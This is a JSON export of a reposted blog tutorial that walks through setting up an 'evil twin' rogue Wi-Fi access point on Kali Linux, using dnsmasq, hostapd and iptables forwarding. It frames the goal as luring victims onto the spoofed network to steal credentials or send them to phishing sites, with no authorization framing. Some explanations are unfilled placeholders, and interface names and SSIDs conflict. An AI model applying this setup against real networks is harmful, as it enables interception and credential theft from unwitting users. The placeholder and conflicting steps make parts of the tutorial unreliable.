{"id":495,"date":"2018-10-17T14:38:18","date_gmt":"2018-10-17T14:38:18","guid":{"rendered":"https:\/\/www.appservgrid.com\/paw92\/?p=495"},"modified":"2018-10-17T15:49:43","modified_gmt":"2018-10-17T15:49:43","slug":"the-evil-twin-attack-ls-blog","status":"publish","type":"post","link":"https:\/\/www.appservgrid.com\/paw92\/index.php\/2018\/10\/17\/the-evil-twin-attack-ls-blog\/","title":{"rendered":"The Evil Twin Attack \u2013 ls \/blog"},"content":{"rendered":"<p>By Matthew Cranford<\/p>\n<p>I searched through many guides, and none of them really gave good description of how to do this. There\u2019s a lot of software out there (such as SEToolkit, which can automate this for you), but I decided to write my own. The scope of this guide is NOT to perform any MITM attacks or sniff traffic. I have references below for those things, this guide is just to <i>set up<\/i> the Evil Twin for those attacks.<\/p>\n<p>Section 1<\/p>\n<p><b>Information<\/b>:<\/p>\n<p>An Evil Twin AP is also known as a rogue wireless access point. The idea is to set up your own wireless network that looks exactly like the one you are attacking. Computers won\u2019t differentiate between SSID\u2019s that share the same name. Instead, they\u2019ll only display the one with the stronger connection signal. The goal is to have the victim connect to your spoofed network, perform a Man-In-the-Middle Attack (MITM) and forward their data on to the internet without them ever suspecting a thing. This can be used to steal someone\u2019s credentials or spoof DNS queries so the victim will visit a phishing site, and many more!<\/p>\n<p><a href=\"https:\/\/shareasale.com\/r.cfm?b=1243539&amp;u=1803184&amp;m=59485&amp;urllink=&amp;afftrack=\" target=\"_blank\" rel=\"noopener\">Hyperledger Fabric Fundamentals (LFD271) $299<\/a><\/p>\n<p><b>Hardware\/Software Required<\/b>:<\/p>\n<p><em>A compatible wireless adapter \u2013<\/em> There are many on the internet to buy. I\u2019m using the TL-WN722N. You can buy this from Amazon for about 15.00 dollars.<\/p>\n<p><em>Kali Linux<\/em> \u2013 You can either run from a USB or a VM. If you run from a VM, you may have issues getting the wireless card to work. I\u2019ll write more on that later.<\/p>\n<p><em>An alternate way to connect to the internet<\/em> \u2013 The card you\u2019re into the Evil Twin will be busy and therefore cannot connect you to the internet. You\u2019ll need a way to connect, so as to forward the victim\u2019s information on. You may use a separate wireless adapter, 3G\/Modem connection or an Ethernet connection to a network.<\/p>\n<p><b>Steps:<\/b><\/p>\n<p>1. Install software that will also set up our DHCP service.<\/p>\n<p>2. Install some software that will spoof the AP for us.<\/p>\n<p>3. Edit the .conf files for getting our network going.<\/p>\n<p>4. Start the services.<\/p>\n<p>5. Run the attacks.<\/p>\n<p>Section 2<\/p>\n<p>\u2013<\/p>\n<p>Setting up the Wireless Adapter<\/p>\n<p>PLEASE NOTE:<\/p>\n<p>I recently discovered that you do NOT need to edit the network settings in Virtualbox to get the wireless adapter to work properly. Please go to Section 3 and follow the rest of the tutorial. The section below is for anyone who is having issues with the wireless adapter. It may help somewhat.<\/p>\n<p>Okay, this is one of the hardest and trickiest parts of this tutorial. You may have to be patient and try this a couple of times for this to work, but after you figure this out, it will seriously help you with any future VM wireless adapter problems you may have.<\/p>\n<p>This is going to assume you are running Kali from a Virtual Machine on Virtual box. If you\u2019re running from a live USB, then don\u2019t worry about this part. You can skip to the next section. Just plug in the adapter to a different port on the computer and it should integrate automatically.<\/p>\n<p>First, plug the wireless adapter into one of the USB ports.<\/p>\n<p>Second, if you are already running Kali, power off. Open up Virtual Box and go to the VM\u2019s Settings.<\/p>\n<p><a href=\"https:\/\/www.cybrary.it\/wp-content\/uploads\/2015\/07\/virtualboxsettings.png\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/www.cybrary.it\/wp-content\/uploads\/2015\/07\/virtualboxsettings-272x300.png\" alt=\"virtualboxsettings\" width=\"489\" height=\"539\" \/><\/a><\/p>\n<p>Then, click on \u2018Network\u2019 and select the Adapter 2 tab.<\/p>\n<p>Click on \u2018Enable Network Adapter\u2019 and then select \u2018Bridged Adapter\u2019 from the Attached to menu.<\/p>\n<p>Next, click on Name and select your wireless adapter.<\/p>\n<p><a href=\"https:\/\/www.cybrary.it\/wp-content\/uploads\/2015\/07\/adapter2.png\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/www.cybrary.it\/wp-content\/uploads\/2015\/07\/adapter2-300x191.png\" alt=\"adapter2\" width=\"488\" height=\"311\" \/><\/a><\/p>\n<p>In my case, it\u2019s called TP-LINK Wireless USB Adapter.<\/p>\n<p><a href=\"https:\/\/shareasale.com\/r.cfm?b=1193750&amp;u=1803184&amp;m=59485&amp;urllink=&amp;afftrack=\" target=\"_blank\" rel=\"noopener\">$299 REGISTERS YOU FOR OUR NEWEST SELF PACED COURSE! LFD201 \u2013 INTRODUCTION TO OPEN SOURCE DEVELOPMENT, GIT, AND LINUX!<\/a><\/p>\n<p>Click OK and then boot into your VM.<\/p>\n<p>Type in your username and password and log on. The default is root\/toor.<\/p>\n<p>Here comes the tricky part. We\u2019ve set up Kali to use the Wireless adapter as a NIC, but to the VM, the wireless adapter hasn\u2019t been plugged in yet.<\/p>\n<p>Section 3<\/p>\n<p>\u2013<\/p>\n<p>Now in the virtual machine, go to the top and click on \u2018Devices\u2018, select \u2018USB Devices\u2018, and finally click on your wireless adapter. In my case, it\u2019s called ATHEROS USB2.0 WLAN.<\/p>\n<p><a href=\"https:\/\/www.cybrary.it\/wp-content\/uploads\/2015\/07\/usbselect.png\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/www.cybrary.it\/wp-content\/uploads\/2015\/07\/usbselect-300x100.png\" alt=\"usbselect\" width=\"576\" height=\"192\" \/><\/a><\/p>\n<p>Sometimes, when we select the USB device, it doesn\u2019t load properly into the VM. I\u2019ve found that if you are having trouble getting Kali to recognize the wireless adapter, try switching USB ports. You may have to try several before it works.<\/p>\n<p>NOTE: Never go back and deselect it from the \u2018USB Devices\u2019 menu. This causes major errors and you will have to reboot the entire system to get it to work properly. If it doesn\u2019t find it the first time, simply unplug it and try a different USB port, and then go back and re-select it. This may take a few tries, but it\u2019ll work, trust me!<\/p>\n<p>Section 4<\/p>\n<p>\u2013<\/p>\n<p><b>DNSMASQ<\/b><\/p>\n<p>Open up a terminal.<\/p>\n<p>Type in the command:<\/p>\n<p>apt-get install -y hostapd dnsmasq wireless-tools iw wvdial<\/p>\n<p>This will install all the needed software.<\/p>\n<p>Now, we\u2019ll configure dnsmasq to serve DHCP and DNS on our wireless interface and start the service.<\/p>\n<p><a href=\"https:\/\/www.cybrary.it\/wp-content\/uploads\/2015\/07\/dnsmasqsetup1.png\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/www.cybrary.it\/wp-content\/uploads\/2015\/07\/dnsmasqsetup1-300x136.png\" alt=\"dnsmasqsetup1\" width=\"567\" height=\"257\" \/><\/a><\/p>\n<p>I\u2019ll go through this step by step so you can see what exactly is happening:<\/p>\n<p>cat &lt;&lt;EOF &gt; etc\/dnsmasq.conf \u2013 This tells the computer to take everything we are going to type and insert it into the file \/etc\/dnsmaq.conf.<\/p>\n<p>log-facility=var\/log\/dnsmasq.log \u2013 This tells the computer where to put all the logs this program might generate.<\/p>\n<p>#address=\/#\/10.0.0.1 \u2013 is a comment saying that we are going to use the 10.0.0.0\/24 network.<\/p>\n<p>#address\/google.com\/10.0.0.1 \u2013 is another comment example.<\/p>\n<p>interface=wlan0 \u2013 tells the computer which NIC we are going to use for the DNS and DHCP service.<\/p>\n<p>dhcp-range=10.0.0.10,10.0.0.250,12h \u2013 This tells the computer which ip address range we want to assign people. You could change this to any private address you like in order to make your Evil Twin look more authentic.<\/p>\n<p>dhcp-options=3, 10.0.0.1-[insert command description]<\/p>\n<p>dhcp-options=6,10.0.0.1-[insert command description]<\/p>\n<p>#no-resolv = another comment.<\/p>\n<p>EOF \u2013 End of File, means that we are done writing to the file.<\/p>\n<p>service dnsmasq start \u2013 starts the dnsmasq service.<\/p>\n<p>Section 5<\/p>\n<p>\u2013<\/p>\n<p><b>Setting Up the Wireless Access Point<\/b><\/p>\n<p>Now, we\u2019re going to set up the Evil Twin. I\u2019m going to deviate slightly from a tutorial I saw recently on this. I made a snippet of their commands, so no copyright infringement here. They use a 3G modem in order to forward the victim\u2019s data, but we\u2019ll be using the network you are already connected to. This is assuming you\u2019re running from a VM and not a live USB. If you run from a USB, you will need an additional wireless card for doing this. Thankfully, using a VM, we only need one wireless adapter. Let\u2019s get to it!<\/p>\n<p>We are going to set up a network with an SSID of \u2018linksys\u2019.<\/p>\n<p>I\u2019ll post the picture from the provided tutorial, that I snipped, and then tell you of the additions and changes I did for this to work.<\/p>\n<p><a href=\"https:\/\/www.cybrary.it\/wp-content\/uploads\/2015\/07\/hostapd.png\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/www.cybrary.it\/wp-content\/uploads\/2015\/07\/hostapd-300x160.png\" alt=\"hostapd\" width=\"556\" height=\"297\" \/><\/a><\/p>\n<p>ifconfig wlan0 up \u2013 This confirms that our wlan0 interface is working. (wlan0 is the NIC we are using to perform this attack)<\/p>\n<p>ifconfig wlan0 10.0.0.1\/24 \u2013 This sets the interface wlan0 with the ip address 10.0.0.1 in the Class C Private address range.<\/p>\n<p>iptables -t nat -F \u2013 [ insert information about iptables commands]<\/p>\n<p>iptables -F \u2013 [ insert information about iptables commands]<\/p>\n<p>iptables -t nat -A POSTROUTING -o pp0 -j MASQUERADE \u2013 This tells the computer how we are going to route the information. I changed pp0 (which is a 3G modem interface) to eth0 which is the interface we are using to connect to the internet.<\/p>\n<p>iptables -A FORWARD -i wlan0 -o ppp0 -j ACCEPT \u2013 This tells the computer that we are going to route the data from wlan0 to ppp0. Again you need to change this to eth0 (or whatever interface you are using to connect to the internet).<\/p>\n<p>echo \u20181\u2019 &gt; \/proc\/sys\/net\/ipv4\/ip_forward \u2013 This adds the number 1 to the ip_forward file which tells the computer that we want to forward information. If it was 0, then it would be off.<\/p>\n<p>cat &lt;&lt;EOF &gt; \/etc\/hostapd\/hostapd.conf \u2013 Again, this tells the computer that anything following that we type we want to add it to the hostapd.conf file.<\/p>\n<p>interface=wlan0 \u2013 tells the computer which interface we want to use.<\/p>\n<p>driver=nl80211 \u2013 tells the computer which driver to use for the interface.<\/p>\n<p>ssid=Freewifi \u2013 This tells the computer what you want the SSID to be, I set mine to linksys.<\/p>\n<p>channel=1 \u2013 This tells the comptuer which channel we want to broadcast on.<\/p>\n<p>#enable_karma=1 \u2013 this is a comment they posted for a certain type of attack, which is outside the scope of this tutorial.<\/p>\n<p>EOF \u2013 signifies the end of the file and stops the prompt.<\/p>\n<p>service hostapd start \u2013 starts the service<\/p>\n<p>Section 6<\/p>\n<p>\u2013<\/p>\n<p><b>Success<\/b><\/p>\n<p>At this point, you should be able to search, either with your phone or laptop, and find the Rouge Wireless AP! If so, then congratulations! YOU DID IT!<\/p>\n<p>From here, you should be able to start performing all sorts of nasty tricks, MITM attacks, packet sniffing, password sniffing, etc. A good MITM program is Ettercap. It may be worth it to you to check it out.<\/p>\n<p>Those things are outside the scope of this tutorial, but I may add them in at a future point.<\/p>\n<p>If you weren\u2019t successful, go back and read everything carefully, especially check your spelling when typing in commands.<\/p>\n<p>If you need to re-edit the .conf files, you can use Gedit (apt-get install gedit) or leafpad (already installed), just navigate to the folder and type: gedit &lt;&lt;filename&gt;&gt; (without the \u2018&lt;&lt; &gt;&gt;\u2019). If you\u2019re going to edit it, make sure you stop the service before doing so (service dnsmasq stop),(service hostapd stop).<\/p>\n<p>Now, if you ever want to start up the Evil Twin again, just start up the services again and it should work properly!<\/p>\n<p>Full article:<\/p>\n<p><a href=\"https:\/\/www.cybrary.it\/0p3n\/evil-twin-attack-using-kali-linux\/\">https:\/\/www.cybrary.it\/0p3n\/evil-twin-attack-using-kali-linux\/<\/a><\/p>\n<p><a href=\"https:\/\/shareasale.com\/r.cfm?b=1193747&amp;u=1803184&amp;m=59485&amp;urllink=&amp;afftrack=\" target=\"_blank\" rel=\"noopener\">REGISTER TODAY FOR YOUR KUBERNETES FOR DEVELOPERS (LFD259) COURSE AND CKAD CERTIFICATION TODAY! $499!<\/a><\/p>\n<p><a href=\"https:\/\/linuxsecurityblog.com\/2018\/10\/08\/the-evil-twin-attack\/\" target=\"_blank\" rel=\"noopener\">Source<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>By Matthew Cranford I searched through many guides, and none of them really gave good description of how to do this. There\u2019s a lot of software out there (such as SEToolkit, which can automate this for you), but I decided to write my own. The scope of this guide is NOT to perform any MITM &hellip; <\/p>\n<p class=\"link-more\"><a href=\"https:\/\/www.appservgrid.com\/paw92\/index.php\/2018\/10\/17\/the-evil-twin-attack-ls-blog\/\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;The Evil Twin Attack \u2013 ls \/blog&#8221;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-495","post","type-post","status-publish","format-standard","hentry","category-linux"],"_links":{"self":[{"href":"https:\/\/www.appservgrid.com\/paw92\/index.php\/wp-json\/wp\/v2\/posts\/495","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.appservgrid.com\/paw92\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.appservgrid.com\/paw92\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.appservgrid.com\/paw92\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.appservgrid.com\/paw92\/index.php\/wp-json\/wp\/v2\/comments?post=495"}],"version-history":[{"count":1,"href":"https:\/\/www.appservgrid.com\/paw92\/index.php\/wp-json\/wp\/v2\/posts\/495\/revisions"}],"predecessor-version":[{"id":535,"href":"https:\/\/www.appservgrid.com\/paw92\/index.php\/wp-json\/wp\/v2\/posts\/495\/revisions\/535"}],"wp:attachment":[{"href":"https:\/\/www.appservgrid.com\/paw92\/index.php\/wp-json\/wp\/v2\/media?parent=495"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.appservgrid.com\/paw92\/index.php\/wp-json\/wp\/v2\/categories?post=495"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.appservgrid.com\/paw92\/index.php\/wp-json\/wp\/v2\/tags?post=495"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}